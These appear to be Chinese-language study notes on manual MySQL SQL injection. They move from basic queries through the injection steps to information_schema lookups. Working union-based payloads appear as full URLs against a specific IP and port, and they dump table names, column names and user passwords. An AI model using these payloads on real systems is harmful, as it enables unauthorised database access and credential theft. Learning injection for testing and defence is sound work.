1.信息收集
Show databases;
Use 数据库名
Show tables;
2.SQL语句基础
查询所有数据库名称
show databases;
选中某个数据库
use 数据名字
查询数据库中所有的表
show tables;
查询表中所有数据 * 代表所有
select * from 表名
条件查询表中数据 where 条件 成立才会执行 if
select 字段名 from 表名 where xx = xx;
合并/联合查询 字段数量要相同
select 字段名 from 表名 union select 字段名 from 表名
3.MYSQL手工注入流程
1.判断注入点
And 1 = 1
And 1 =2
乱输入测试是否有注入点
2.猜解列名数量(字段数) order by x 错误与正常
3.报错猜解
Id= -1 union select 1,2,3,4
4.判断回显点
5.信息收集
数据库版本 version()
数据库名 database()
数据库用户 user()
操作系统 @@version_compile_os
4.MYSQL系统库释义
1.在mysql5.0版本以上,mysql自带一个数据库information_schema
2.数据库中符号”.”代表下一级 user.name
Information_schema.tables 记录所有表名信息的表
Information_schema.columns 记录所有列名信息的表
Table_name :表名
Column_name: 列名
Table_schema:数据库名
查询指定A数据库名 下的表名信息:p
http://219.153.49.228:46993/new_list.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+
union select 1,group_concat(table_name),3,4 from information_schema.tables
where table_schema=database()
查询指定表名表下列的信息
http://219.153.49.228:46993/new_list.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'StormGroup_member'
查询指定数据 name password
http://219.153.49.228:46993/new_list.php?id=-1 union select 1,username,password from users limit 1,1--+
union SELECT 1,2,(select group_concat(name,password) from users),4